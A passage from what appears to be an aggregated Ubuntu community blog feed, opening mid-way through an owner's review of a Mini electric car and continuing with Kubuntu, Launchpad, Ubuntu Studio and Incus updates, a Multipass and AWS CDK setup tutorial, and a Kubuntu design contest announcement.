<p>I called Mini customer services and they didn’t seem to think it was easily fixable, and I should just hope for a map update.</p>
<p>So I did the nerd thing, and found out who the map supplier was - “Nokia Here” - and submitted a request to fix the data there. Later, I got a map update from BMW which contained my fix. That’s one way to do it.</p>
<h3 id="unable-to-charge">Unable to charge</h3>
<p>Within a year of owning the car, it stopped charging at home. The AC charging port just wouldn’t work. I could charge at the fast public DC chargers nearby, but my home charger stopped working.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-03/unable_to_charge.jpg"><img alt="Unable to charge" src="https://popey.com/blog/blog/images/2024-03-03/unable_to_charge_50.jpg" /></a></p>
<p>When I reported the problem to BMW, their assumption was that the wall box on my house was broken. We disproved this by showing a different car charging from the home wall box, and my car refusing to charge from public AC chargers.</p>
<p>The BMW dealership were still very reluctant to accept that there was a problem with the car. I had to drive it to the dealership and put the car on their own slow charger to show them it failing to charge. Only once I’d done that did they allow me to book it in for repair the next day.</p>
<p>In a bit of a dick move, I drove around to empty the battery completely, rocking up to the dealership with the car angrily telling my it had 0% charge. That way they’d have to fix it to charge it to get it back to me. They did indeed fix the problem with the charging system, which took quite a while.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-03/zero.jpg"><img alt="Zero" src="https://popey.com/blog/blog/images/2024-03-03/zero_50.jpg" /></a></p>
<p>I got a rather fancy BMW i7 on loan while they repaired the car.</p>
<p>When I went to pick the car up, they were very apologetic that it took so long and gave me a bag of Mini merch as a gift. When I went to open the boot to put the bag away, I noticed that there was a panel unclipped and some disconnected wires dangling around in the boot. I had to call someone from the garage over to fix it before I could drive away.</p>
<p>I was a little sad that the car clearly hadn’t been fully checked over before I was given it back.</p>
<h3 id="unplugging">Unplugging</h3>
<p>During cold weather in Winter, the charger plug sometimes gets stuck - frozen - into the socket. This can be quite frustrating as it’s impossible to set off to work while the cable is still attached to the house! I found some plumber grease which I smeared around the plug in the hope of lubricating and reducing the ingress or condensation of water. So far, that’s helped.</p>
<h3 id="navigation">Navigation</h3>
<p>I took a wrong turn down a long A-road one night, which meant I didn’t have sufficient charge to get home without stopping to top up. I thought I’d try the internal navigation system, which has a database of charging stations.</p>
<p>The first location it took me to was a hotel. I drove around the car park and couldn’t find a charger at all. Not necessarily the navigation system’s fault, but the hotel signage, to be fair. I gave up, and chose the next nearest charger on the map. It confidently took me down some narrow lanes and stopped at a closed gate which was the entrance to a farm. It looked to me like a private residence.</p>
<p>I gave up and switched to an app on my phone, and ended up at a nearby Tesla charging station where there we many free spaces, and I was able to charge with ease. It possibly should have offered me that one first!</p>
<h3 id="app-nagging">App nagging</h3>
<p>As I mentioned above, there is a Mini app for Android and iOS for managing the car. In it you can do some simple things like lock and unlock the car, turn the lights on, and enable the climate control before setting off. It also has a record of charging sessions, a map for finding chargers, and other useful information like locating the car, and showing battery charge level and estimated range.</p>
<p>It nags you constantly to tell them how great or bad the app is, and inexplicably on a scale of 0 to 10, whether you’d recommend it to friends or colleagues. I cannot fathom the kind of person who recommends apps to friends who do not own the car which the app is for. It’s completely mental.</p>
<p><a href="https://popey.com/blog/blog/images/2024-03-03/rate.png"><img alt="Rating" src="https://popey.com/blog/blog/images/2024-03-03/rate_50.png" /></a></p>
<p>Every time the dialog comes up - and it’s come up a lot - I rate the app zero, and leave an increasingly irritated message to the developers to stop asking me. I have also filed a ticket with BMW. Their engineers came back to me with details of exactly how often it asks, based on how often you open the app, and the interval between one opening and the next.</p>
<p>You can’t turn this off. It’s super irritating, and I still get asked two years later. I still give it a zero, despite the app having some useful features.</p>
<h3 id="full-flaps">Full flaps</h3>
<p>The charge port is covered by a hinged flap, just like in a petrol car. The Mini recently started nagging me that the flap was open when it wasn’t. No amount of opening and closing would stop the car nagging me. Thankfully it still let me drive with a little warning triangle on screen. I let the dealership know, and they fixed it during the upcoming maintenance.</p>
<h2 id="crash-repair">Crash repair</h2>
<p>In November my wife was involved in a crash when someone pulled out in front of her from behind traffic. She was only minorly injured, and the car was structurally fine, but a bit smashed up at the front. The other driver was at fault, and it was all sorted out via insurance. The local BMW-approved repair centre had the car from November to January while I had a hire car on loan. The car came back as good as new.</p>
<h2 id="no-spare-tyre">No spare tyre</h2>
<p>It’s a small car, so there’s no room for a spare wheel. I had a puncture recently and managed to limp the car back home. I pressed the SOS button in the car and got put through to a friendly agent.</p>
<p>They organised a BMW engineer to come out and change the wheel. He arrived very quickly, jumped out of his van and took the wheel off my car, replacing it with a spare he had in the van.</p>
<p>He then put my wheel in the boot of my car and asked me to text him know once I’d got mine fixed, so he could pick his spare up again. I got it fixed within a day or so, and left his spare somewhere safe, as I was out at work. He happily came and collected it. I was pretty pleased with this whole experience.</p>
<h2 id="maintenance">Maintenance</h2>
<p>As I got closer to the two-year anniversary of ownership, the app started to remind me to book the car for a service. There’s a feature in the app to just press a button, and get taken to a page where you can book the car in. The links are all broken and always have been. I don’t have the energy to call BMW to tell them it’s all broken. They should do better QA on the app.</p>
<p>Eventually I just called the garage to get the car maintained. There was a scheduled two-year inspection, a low priority recall, brake check and my broken ‘fuel flap’ to fix. They had the car all day and everything was complete when I picked it up at the end of the day.</p>
<p>The fact that there’s no oil changes, oil filter replacement, spark plug replacments, timing chain/belts, and many other parts that fail on an EV is quite attractive. But there’s still a regular service which needs doing.</p>
<p>Some argue that due to the car having a one-pedal driving mode, where regenerative braking slows tha car down, drivers are less likely to wear out the brakes. However I’ve also seen it asserted that some cars actually use both regenerative braking and the physical disc brakes without letting the driver know. I have no idea whether the Mini actually “smartly” applies the brakes, or if it only does so when I press the brake pedal.</p>
<h2 id="conclusion">Conclusion</h2>
<p>I love the Mini EV. I love driving it, and often make excuses to drive somewhere, or I’ll go the ‘long way round’ in order to spend more time in it. It’s not perfect, but it’s super fun to drive.</p>
<p>As for it being my first EV. While the network of public EV chargers isn’t amazing, there’s enough where I live and travel to service my requirements. I don’t think I’ll go back to a petrol car anytime soon.</p>
<p>We’re also considering replacing the wifes car soon, and will look at electric options for that too.</p>
<p>There’s a new refreshed Mini model out, that the local dealership salespeople seem to want me to test drive. Having seen it on video, but not in person, I’m not convinced I’ll like it. We’ll see.</p>2024-03-03T12:00:00+00:00Scarlett Gately Moore: Kubuntu: Week 4, Feature Freeze and what comes next.
https://www.scarlettgatelymoore.dev/kubuntu-week-4-feature-freeze-and-what-comes-next/
<div class="wp-block-image">
<figure class="aligncenter size-full"><img alt="" class="has-transparency wp-image-420" data-dominant-color="2c76a2" data-has-transparency="true" height="246" src="https://www.scarlettgatelymoore.dev/wp-content/uploads/face.png" width="246" /></figure></div>
<p>First I would like to give a big congratulations to <a href="https://kde.org">KDE</a> for a superb <a href="https://kde.org/announcements/megarelease/6/">KDE 6 mega release</a> <img alt="🙂" class="wp-smiley" src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" style="height: 1em;" /> While we couldn’t go with 6 on our upcoming LTS release, I do recommend <a href="https://neon.kde.org/">KDE neon</a> if you want to give it a try! I want to say it again, I firmly stand by the Kubuntu Council in the decision to stay with the rock solid Plasma 5 for the 24.04 LTS release. The timing was just to close to feature freeze and the last time we went with the shiny new stuff on an LTS release, it was a nightmare ( KDE 4 anyone? ). So without further ado, my weekly wrap-up.</p>
<p><strong>Kubuntu:</strong></p>
<p>Continuing efforts from last week <a data-id="423" data-type="post" href="https://www.scarlettgatelymoore.dev/kubuntu-week-3-wrap-up-contest-kde-snaps-debian-uploads/">Kubuntu: Week 3 wrap up, Contest! KDE snaps, Debian uploads.</a> , it has been another wild and crazy week getting everything in before feature freeze yesterday. We will still be uploading the upcoming Plasma 5.27.11 as it is a bug fix release <img alt="🙂" class="wp-smiley" src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" style="height: 1em;" /> and right now it is all about the finding and fixing bugs! Aside from many uploads my accomplishments this week are:</p>
<ul>
<li>Kept a close eye on <a data-id="https://ubuntu-archive-team.ubuntu.com/proposed-migration/noble/update_excuses.html" data-type="link" href="https://ubuntu-archive-team.ubuntu.com/proposed-migration/noble/update_excuses.html">Excuses</a> and fixed tests as needed. Seems riscv64 tests were turned off by default which broke several of our builds.</li>
<li>I did a complete revamp of our seed / kubuntu-desktop meta package! I have ensured we are following <a data-id="https://community.kde.org/Distributions/Packaging_Recommendations" data-type="link" href="https://community.kde.org/Distributions/Packaging_Recommendations">KDE packaging recommendations</a>. Unfortunately, we cannot ship maliit-keyboard as we get hit by <a data-id="https://bugs.launchpad.net/ubuntu/+source/maliit-keyboard/+bug/2039721" data-type="link" href="https://bugs.launchpad.net/ubuntu/+source/maliit-keyboard/+bug/2039721">LP 2039721</a> which makes for an unpleasant experience.</li>
<li>I did some more work on our custom plasma-welcome which now just needs some branding, which leads to a friendly reminder the contest is still open! <a href="https://kubuntu.org/news/kubuntu-graphic-design-contest/" rel="noreferrer noopener" target="_blank">https://kubuntu.org/news/kubuntu-graphic-design-contest/</a></li>
<li>Bug triage! Oh so many bugs! From back when I worked on Kubuntu 10 years ago and plasma5 was new.. I am triaging and reducing this list to more recent bugs ( which is a much smaller list ). This reaffirms our decision to go with a rock solid stable Plasma5 for this LTS release.</li>
<li>I spent some time debugging kio-gdrive which no longer works ( It works in Jammy ) so I am tracking down what is broken. I thought it was 2FA but my non 2FA doesn’t work either, it just repeatedly throws up the google auth dialog. So this is still a WIP. It was suggested to me to disable online accounts all together, but I would prefer to give users the full experience.</li>
<li>Fixed our ISO builds. We are still not quite ready for testers as we have some Calamares fixes in the pipeline. Be on the lookout for a call for testers soon <img alt="🙂" class="wp-smiley" src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" style="height: 1em;" /></li>
<li>Wrote a script to update our ( Kubuntu ) packageset to cover all the new packages accumulated over the years and remove packages that are defunct / removed.</li>
</ul>
<p>What comes next? Testing, testing, testing! Bug fixes and of course our re-branding. My focus is on bug triage right now. I am also working on new projects in launchpad to easily track our bugs as right now they are all over the place and hard to track down.</p>
<p><strong>Snaps:</strong></p>
<p>I have started the MRs to fix our latest 23.08.5 snaps, I hope to get these finished in the next week or so. I have also been speaking to a prospective student with some GSOC ideas that I really like and will mentor, hopefully we are not too late.</p>
<p>Happy with my work? My continued employment depends on you! Please consider a donation <a href="http://kubuntu.org/donate">http://kubuntu.org/donate</a></p>
<p>Thank you!</p>2024-03-01T16:38:22+00:00sgmooreLaunchpad News: Launchpad’s new homepage
https://blog.launchpad.net/general/launchpads-new-homepage
<h2>Launchpad’s new homepage</h2>
<p>Launchpad has been around for a while, and its frontpage has remained untouched for a few years now.</p>
<p>If you go into launchpad.net, you’ll notice it looks quite different from what it has looked like for the past 10 years – it has been updated! The goal was to modernize it while trying to keep it looking like Launchpad. The contents have remained the same with only a few text additions, but there were a lot of styling changes.</p>
<p>The most relevant change is that the frontpage now uses Vanilla components (<a href="https://vanillaframework.io/docs">https://vanillaframework.io/docs</a>). This alone, not only made the layout look more modern, but also made it better for a new curious user reaching the page from a mobile device. The accessibility score of the page – calculated with Google’s Lighthouse extension – increased from a 75 to an almost perfect 98!</p>
<p>Given the frontpage is so often the first impression users get when they want to check out Launchpad, we started there. But in the future, we envision the rest of Launchpad looking more modern and having a more intuitive UX.</p>
<p>As a final note, thank you to Peter Makowski for always giving a helping hand with frontend changes in Launchpad.</p>
<p>If you have any feedback for us, don’t forget to reach out in any of our channels. For feature requests you can reach us as <a href="mailto:feedback@launchapd.net">feedback@launchpad.net</a> or open a report in <a href="https://bugs.launchpad.net/launchpad">https://bugs.launchpad.net/launchpad</a>.</p>
<p></p>
<p>To conclude this post, here is what Launchpad looked like in 2006, yesterday and today.</p>
<figure class="wp-block-image is-resized"><img alt="" height="200" src="https://lh7-us.googleusercontent.com/0Qg10XhP6eab7Ot1JsR9Liv1q8wkAE853XhYbKx1znKP6L6IlBVeHTtHuyfFILcPs2ETtpY50yoLRNl9QShk1SCLN4k3-mRjk0thLNFvhckie8ZYnnrXaq4wOWtMNYWpk7OBYlFznvzW9XdDjLhNnTc" width="720" /><br />Launchpad in 2006</figure>
<hr class="wp-block-separator" />
<figure class="wp-block-image is-resized"><img alt="" height="513" src="https://lh7-us.googleusercontent.com/sP2jp-wNHRqhGlc7JDXqT4j4NnDMBZ3hzhv4enDbjt-_89KBHdCfDHmS1n9RxnFwtTC_QqLt3MAfRtyiiFKwKf7hZRSf9NC_y2nDHg7h-NXU26H_3cB5iht67jDhSU5C9JU4-zb6x3IrJyhy82a89rw" width="800" />Launchpad yesterday</figure>
<hr class="wp-block-separator" />
<figure class="wp-block-image is-resized"><img alt="" height="537" src="https://lh7-us.googleusercontent.com/oWuZ5CGCk_EofuupnzeNnbjK2hvZa_fTBWpf7FsyqNFrRnAjRlbVyPO9QaflAJgjzSEH9vnhTMyWI7eTlhJBBPT6tkYbj0WOAcp6WctyjVzNgLauDOehMlXs3hdtuyp_ojBQu2WgyqGlom6f0W3_UhU" width="800" />Launchpad today</figure>
<p></p>2024-03-01T13:55:19+00:00ines-almeidaDougie Richardson: Setup a Multipass CDK Environment
https://dougiewougie.com/2024/02/25/setup-a-multipass-cdk-environment/
<p>I want to be able to connect to the environment using Visual Studio Code, so first we need to create a SSH key:</p>
<pre class="wp-block-code"><code class="language-bash" lang="bash">ssh-keygen -t rsa</code></pre>
<p>We need a configuration YAML, replace <code><generated ssh-rsa key></code> with the above key, saved as <code>cloud-init.yaml</code>:</p>
<pre class="wp-block-code"><code class="language-bash" lang="bash">groups:
- vscode
runcmd:
- adduser ubuntu vscode
ssh_authorized_keys:
- ssh-rsa <generated ssh-rsa key></code></pre>
<p>Assuming you’ve got Multipass installed (if not <code>sudo snap install multipass</code>) then:</p>
<pre class="wp-block-code"><code class="language-bash" lang="bash">multipass launch mantic --name ubuntu-cdk --cloud-init </code></pre>
<p>We’ll come back to Visual Studio Code later but first lets set everything up in the VM. We need to install aws-cli which I want to use with SSO (hence why we installed Mantic).</p>
<pre class="wp-block-code"><code class="language-bash" lang="bash">multipass shell ubuntu-cdk
sudo apt install awscli
aws configure sso</code></pre>
<p>Follow the prompts and sign in to AWS as usual. Then install CDK:</p>
<pre class="wp-block-code"><code class="language-bash" lang="bash">sudo apt install nodejs npm
sudo npm install -g aws-cdk</code></pre>
<p>Almost there, lets bootstrap<sup class="fn" data-fn="61d4782e-c5c2-4dcb-ac45-f626dd0cff40"><a href="https://dougiewougie.com/tag/ubuntu/feed/#61d4782e-c5c2-4dcb-ac45-f626dd0cff40" id="61d4782e-c5c2-4dcb-ac45-f626dd0cff40-link">1</a></sup> (provisioning resources needed to make deployments) substituting the relevant values:</p>
<pre class="wp-block-code"><code class="language-bash" lang="bash">cdk bootstrap aws://<account>/<region> --profile <profile></code></pre>
<p>You should see a screen like this:</p>
<figure class="wp-block-image size-full"><img alt="" class="wp-image-2692" height="151" src="https://dougiewougie.com/wp-content/uploads/2024/02/Screenshot-from-2024-02-25-21-47-20.png" width="1017" /></figure>
<p>Create a new CDK application by creating a new folder, changing into it and initialising CDK:</p>
<pre class="wp-block-code"><code class="language-bash" lang="bash">cdk init app --language python
source .venv/bin/activate
python -m pip install -r requirements.txt</code></pre>
<p>And that’s about it, except for Visual Studio Code. You’ll need to install <a data-id="https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remotMicrosoft%27s%20Remote-SSH%20extensione-ssh" data-type="link" href="https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remotMicrosoft%27s%20Remote-SSH%20extensione-ssh">Microsoft’s Remote-SSH extension</a>:</p>
<figure class="wp-block-image size-full"><img alt="" class="wp-image-2693" height="181" src="https://dougiewougie.com/wp-content/uploads/2024/02/Screenshot-from-2024-02-25-21-52-24.png" width="967" /></figure>
<p>You can get the IP address from <code>multipass list</code>, then in Code add a new SSH connection using <code>ubuntu@<ip></code>:</p>
<figure class="wp-block-image size-large"><img alt="" class="wp-image-2694" height="377" src="https://dougiewougie.com/wp-content/uploads/2024/02/Screenshot-from-2024-02-25-21-57-28-1024x377.png" width="1024" /></figure>
<p>Accept the various options presented and you’re there!</p>
<figure class="wp-block-image size-large"><img alt="VSCode" class="wp-image-2696" height="768" src="https://dougiewougie.com/wp-content/uploads/2024/02/Screenshot-from-2024-02-25-22-00-47-1024x768.png" width="1024" /></figure>
<ol class="wp-block-footnotes"><li id="61d4782e-c5c2-4dcb-ac45-f626dd0cff40">Bootstrapping provisions resources in your environment such as an Amazon Simple Storage Service (Amazon S3) bucket for storing files and AWS Identity and Access Management (IAM) roles that grant permissions needed to perform deployments. These resources get provisioned in an AWS CloudFormation stack, called the bootstrap stack. It is usually named CDKToolkit. Like any AWS CloudFormation stack, it will appear in the AWS CloudFormation console of your environment once it has been deployed. <a href="https://dougiewougie.com/tag/ubuntu/feed/#61d4782e-c5c2-4dcb-ac45-f626dd0cff40-link"><img alt="↩" class="wp-smiley" src="https://s.w.org/images/core/emoji/14.0.0/72x72/21a9.png" style="height: 1em;" />︎</a></li></ol>2024-02-25T22:01:35+00:00Dougie RichardsonJonathan Riddell: Plasma Pass 1.2.2
https://jriddell.org/2024/02/25/plasma-pass-1-2-2/
<p>Plasma Pass is a Plasma applet for the Pass password manager</p>
<p>This release includes build fixes for Plasma 6, due to be released later this week.</p>
<p><strong>URL</strong>: https://download.kde.org/stable/plasma-pass/<br /><strong>Sha256</strong>: 2a726455084d7806fe78bc8aa6222a44f328b6063479f8b7afc3692e18c397ce<br /><strong>Signed by</strong> E0A3EB202F8E57528E13E72FD7574483BB57B18D Jonathan Esk-Riddell <<a href="mailto:jr@jriddell.org" rel="noreferrer noopener" target="_blank">jr@jriddell.org</a>><br /><a href="https://jriddell.org/esk-riddell.gpg" rel="noreferrer noopener" target="_blank">https://jriddell.org/esk-riddell.gpg</a></p>
<p></p>2024-02-25T11:57:19+00:00site adminUbuntu Studio: Updates for February 2024
https://ubuntustudio.org/2024/02/updates-for-february-2024/
<p>As we get to the close of February 2024, we’re also getting close to Feature Freeze for Ubuntu Studio 2024 and, therefore, a closer look at what Ubuntu Studio 24.04 LTS will look like!</p>
<p>Before we get to that, however, we do want to let everyone know that community donations are down. We understand these are trying times for us all, and we just want to remind everyone that the creation and maintenance of Ubuntu Studio does come at some expense, such as electricity, internet, and equipment costs. All of that is in addition to the tireless hours our project leader, Erich Eickmeyer, is putting into this project daily.</p>
<p>Additionally, some recurring donations are failing. We’re not sure if they’re due to expired payment methods or inadequate funds, but we have no way to reach the people whose recurring donations have failed other than this method. So, if you have received any kind of notice, we kindly ask that you would check to see why those donations are failing. If you’d like to cancel, then that’s not a problem either.</p>
<p>If you find Ubuntu Studio useful or agree with its mission, we would ask that you would ask that you would contribute a donation or subscribe using one of the methods below.</p>
<p><strong>Ubuntu Studio Will Always Remain a Free Download. That Will Not Change. </strong>The work that goes into producing it, however, is <em>not</em> free, and for that reason, we ask for voluntary donations.</p>
<table align="center" border="0" width="100%"><tbody><tr><td align="center" valign="center" width="33%">Donate using PayPal<br /><form action="https://www.paypal.com/cgi-bin/webscr" method="post" target="_top">
<input name="cmd" type="hidden" value="_donations" />
<input name="business" type="hidden" value="4KAYVBRFDQPJW" />
<input name="item_name" type="hidden" value="Ubuntu Studio Donation" />
<input name="currency_code" type="hidden" value="USD" />
<input alt="Donate with PayPal button" border="0" name="submit" src="https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif" title="PayPal - The safer, easier way to pay online!" type="image" />
<img alt="" border="0" height="1" src="https://www.paypal.com/en_US/i/scr/pixel.gif" width="1" /></form>Donations are Monthly or One-Time</td><td align="center" valign="center" width="33%">Donate using Liberapay<br /><a href="https://liberapay.com/ubuntustudio/donate"><img alt="Donate using Liberapay" src="https://liberapay.com/assets/widgets/donate.svg" /></a><br />Donations are<br />Weekly, Monthly, or Annually</td><td align="center" valign="center" width="33%">Donate using Patreon<br /><a data-patreon-widget-type="become-patron-button" href="https://www.patreon.com/bePatron?u=43532738">Become a Patron!</a>Donations are<br />Monthly</td></tr></tbody></table><br />
<hr class="wp-block-separator" />
<h2>The New Installer</h2>
<p>Progress has been made on the new installer, and for a while, it <em>was</em> working. However, at this time, the code is entirely in the hands of the Ubuntu Desktop Team at Canonical and we at Ubuntu Studio have no control over it.</p>
<div class="wp-block-image"><figure class="aligncenter is-resized"><img alt="" height="400" src="https://private-user-images.githubusercontent.com/7434781/304607477-b07b6855-222b-4474-8d02-e390086e72af.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MDg3Mjc1NDgsIm5iZiI6MTcwODcyNzI0OCwicGF0aCI6Ii83NDM0NzgxLzMwNDYwNzQ3Ny1iMDdiNjg1NS0yMjJiLTQ0NzQtOGQwMi1lMzkwMDg2ZTcyYWYucG5nP1gtQW16LUFsZ29yaXRobT1BV1M0LUhNQUMtU0hBMjU2JlgtQW16LUNyZWRlbnRpYWw9QUtJQVZDT0RZTFNBNTNQUUs0WkElMkYyMDI0MDIyMyUyRnVzLWVhc3QtMSUyRnMzJTJGYXdzNF9yZXF1ZXN0JlgtQW16LURhdGU9MjAyNDAyMjNUMjIyNzI4WiZYLUFtei1FeHBpcmVzPTMwMCZYLUFtei1TaWduYXR1cmU9MzU5MmRhNTEzMTM3YTBiNDZlYmU4YjVhOGM2N2RmZjA0MWQ3ZjE4ZGJjM2Y4NjFmM2JhNGY2MDE3ODMwMDlhNyZYLUFtei1TaWduZWRIZWFkZXJzPWhvc3QmYWN0b3JfaWQ9MCZrZXlfaWQ9MCZyZXBvX2lkPTAifQ.rKzrHsV3xPHhlRNfTrszbeYVZHzzgROFs-9OfrIWiRQ" width="640" />This is currently where it gets stuck. We have no control over this at present.</figure></div>
<p>Additionally, while we do appreciate testing, no amount of testing or bug reporting will fix this, so we ask that you be patient.</p>
<h2>Wallpaper Competition</h2>
<div class="wp-block-image"><figure class="aligncenter size-full is-resized"><img alt="" class="wp-image-2711" height="360" src="https://ubuntustudio.org/wp-content/uploads/2024/02/72a9/wallpapercompetition.png" width="640" /></figure></div>
<p>Our <a data-id="2709" data-type="post" href="https://ubuntustudio.org/2024/02/ubuntu-studio-24-04-lts-wallpaper-competition/">Wallpaper Competition</a> for Ubuntu Studio 24.04 LTS is underway! We’ve received a handful of submissions but would love to see more!</p>
<h2>Moving from IRC back to Matrix</h2>
<div class="wp-block-image"><figure class="alignright size-full is-resized"><img alt="" class="wp-image-1709" height="129" src="https://ubuntustudio.org/wp-content/uploads/2020/01/c002/1200px-Matrix_logo.svg_.png" width="300" /></figure></div>
<p>Our support chat is moving back from IRC to Matrix! As you may recall, we had a Matrix room as our support chat until recently. However, the entire Ubuntu community has now begun a migration to Matrix for our communication needs, and Ubuntu Studio will be following. Stay tuned for more information to that, but also our links will be changing on the website, and the menu links will default to Matrix in Ubuntu Studio 24.04 LTS’s release.</p>
<h2>PulseAudio-Jack/Studio Controls Deprecation</h2>
<p>Beginning in Ubuntu Studio 24.04 LTS, the old PulseAudio-JACK bridging/configuration, while still installable and usable with Studio Controls, will no longer be supported and will not be recommended for use. For most people, the default configuration using PipeWire with the PipeWire-JACK configuration enabled, which can be disabled on-the-fly if one wishes to use JACKd2 with QJackCtl.</p>
<p>While Studio Controls started out as our in-house-built Ubuntu Studio Controls, it is no longer useful as its functionality has largely been replaced by the full low-latency audio integration and bridging PipeWire has provided.</p>
<hr class="wp-block-separator" />
<p>With that, we hope our next update will provide you with better news regarding the installer, so keep your eyes on this space!</p>2024-02-23T22:48:42+00:00eeickmeyerStéphane Graber: Announcing Incus 0.6
https://stgraber.org/2024/02/23/announcing-incus-0-5-2/
<p>Looking for something to do this weekend? How about trying out the all new Incus 0.6!<br /><br />This Incus release is quite the feature packed one! It comes with an all new storage driver to allow a shared disk to be used for storage across a cluster. On top of that we also have support for backing up and restoring storage buckets, control over accessing of shared block devices, the ability to list images across all projects, a number of OVN improvements and more!</p>
<figure class="wp-block-image size-full"><a href="https://linuxcontainers.org/incus/try-it/" rel="noreferrer noopener" target="_blank"><img alt="" class="wp-image-1555" height="557" src="https://stgraber.org/wp-content/uploads/2024/02/image.png" width="694" /></a></figure>
<p>The full announcement and changelog can be <a href="https://discuss.linuxcontainers.org/t/incus-0-6-has-been-released/19134" rel="noreferrer noopener" target="_blank">found here</a>.<br />And for those who prefer videos, here’s the release overview video:</p>
<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
</div></figure>
<p>You can take the latest release of Incus up for a spin through our online demo service at: <a href="https://linuxcontainers.org/incus/try-it/" rel="noreferrer noopener" target="_blank">https://linuxcontainers.org/incus/try-it/</a></p>
<p>And as always, my company is offering commercial support on Incus, ranging from by-the-hour support contracts to one-off services on things like initial migration from LXD, review of your deployment to squeeze the most out of Incus or even feature sponsorship. You’ll find all details of that here: <a href="https://zabbly.com/incus">https://zabbly.com/incus</a></p>
<p>Donations towards my work on this and other open source projects is also always appreciated, you can find me on <a href="https://github.com/sponsors/stgraber">Github Sponsors</a>, <a href="https://patreon.com/stgraber">Patreon</a> and <a href="https://ko-fi.com/stgraber">Ko-fi</a>.</p>
<p>Enjoy!</p>2024-02-23T22:17:07+00:00Stéphane GraberKubuntu General News: Kubuntu Graphic Design Contest
https://kubuntu.org/news/kubuntu-graphic-design-contest/
<h1>Announcing the Kubuntu Graphic Design Contest:</h1>
<h1>Shape the Future of Kubuntu</h1>
<p>We’re thrilled to unveil an extraordinary opportunity for creatives and enthusiasts within and beyond the Kubuntu community</p>
<p><strong>The Kubuntu Graphic Design Contest.</strong></p>
<p>This competition invites talented designers to play a pivotal role in shaping the next generation of the Kubuntu brand. It’s your chance to leave a lasting mark on one of the most beloved Linux distributions in the world.</p>
<h2>What We’re Looking For:</h2>
<p>The contest centers on reimagining and modernizing the Kubuntu brand, including the logo, colour palette, fonts, and the default desktop environment for the upcoming Kubuntu 24.04 release. We’re seeking innovative designs that reflect the essence of Kubuntu while resonating with both current users and newcomers.</p>
<p><strong>Guidelines:</strong></p>
<p><strong>Inspiration:</strong> Contestants are encouraged to review the current brand and styles of kubuntu.org, kde.org, and ubuntu.com to understand the foundational elements of our visual identity.</p>
<p><strong>Creativity and Modernity:</strong> Your submission should propose a fresh, modern look and feel for the Kubuntu brand and its supporting marketing materials. Think outside the box to create something truly unique.</p>
<p><strong>Cohesion:</strong> While innovation is key, entries should maintain a cohesive relationship with the broader KDE and Ubuntu ecosystems, ensuring a seamless user experience across platforms.</p>
<p><strong>How to Participate:</strong></p>
<p>The contest is open now! We welcome designers from all backgrounds to contribute their vision for Kubuntu’s future.</p>
<p>Multiple entries are allowed, giving you ample opportunity to showcase your creativity.</p>
<p>Submission Deadline: All entries must be submitted by 23:59 on Sunday, 31st March.</p>
<p><strong>Prizes:</strong></p>
<p>Winner will have the honour of seeing their design become the face of Kubuntu 24.04, receiving recognition across our platforms and within the global open-source community.</p>
<p><strong>First Prize:</strong></p>
<ul><li>Global recognition of your design as the new face of Kubuntu.</li><li>A trophy and certificate.</li><li>A Kubuntu LTS optimized and validated computer: the Kubuntu Focus <a href="https://kfocus.org/spec/spec-ir14">Ir14 Laptop </a>or the Kubuntu Focus <a href="https://kfocus.org/spec/spec-nx">NX MiniPC</a> with 32 GB of RAM – over a $1,000 value.</li><li>Kubuntu Focus <a href="https://kfocus.myspreadshop.com/">branded merchandise</a> up to $50 USD shipped.</li></ul>
<p><strong>Second Prize:</strong></p>
<ul><li>Your runner up entry featured on kubuntu.org.</li><li>A trophy and certificate.</li><li>Kubuntu Focus <a href="https://kfocus.myspreadshop.com/">branded merchandise</a> up to $50 USD shipped.</li></ul>
<p><strong>Third Prize:</strong></p>
<ul><li>A trophy and certificate.</li><li>Kubuntu Focus <a href="https://kfocus.myspreadshop.com/">branded merchandise</a> up to $50 USD shipped.</li></ul>
<h2>Join the Contest:</h2>
<p>This is more than a competition; it’s a chance to contribute to a project that powers the computers of millions around the world. Whether you’re a seasoned designer or a passionate amateur, we invite you to bring your vision to life and help define the future of Kubuntu.</p>
<p>For more details on how to submit your designs and contest rules, visit our <a data-id="https://invent.kde.org/teams/distribution-kubuntu/kubuntu-design-and-brand/-/wikis/Kubuntu-Graphic-Design-Contest-Application" data-type="URL" href="https://invent.kde.org/teams/distribution-kubuntu/kubuntu-design-and-brand/-/wikis/Kubuntu-Graphic-Design-Contest-Application">contest page.</a></p>
<p>Let’s create something extraordinary together. Your design could be the next symbol of Kubuntu’s innovation and community spirit.</p>
<h2>Apply now: <a data-type="URL" href="https://invent.kde.org/teams/distribution-kubuntu/kubuntu-design-and-brand/-/wikis/Kubuntu-Graphic-Design-Contest-Application">Contest Page</a></h2>2024-02-23T19:41:27+00:00Rick TimmisScarlett Gately Moore: Kubuntu: Week 3 wrap up, Contest! KDE snaps, Debian uploads.
https://www.scarlettgatelymoore.dev/kubuntu-week-3-wrap-up-contest-kde-snaps-debian-uploads/
<figure class="wp-block-image size-large"><img alt="Witch Wells AZ Sunset" class="not-transparent wp-image-424" data-dominant-color="715b54" data-has-transparency="false" height="338" src="https://www.scarlettgatelymoore.dev/wp-content/uploads/20240101_071321-1024x338.png" width="1024" />Witch Wells AZ Sunset</figure>
<p>It has been a very busy 3 weeks here in Kubuntu!</p>
<p>Kubuntu 22.04.4 LTS has been released and can be downloaded from here: <a href="https://kubuntu.org/getkubuntu/">https://kubuntu.org/getkubuntu/</a> </p>
<p>Work done for the upcoming 24.04 LTS release:</p>
<ul>
<li>Frameworks 5.115 is in proposed waiting for the Qt transition to complete.</li>
<li>Debian merges for Plasma 5.27.10 are done, and I have confirmed there will be another bugfix release on March 6th.</li>
<li>Applications 23.08.5 is being worked on right now.</li>
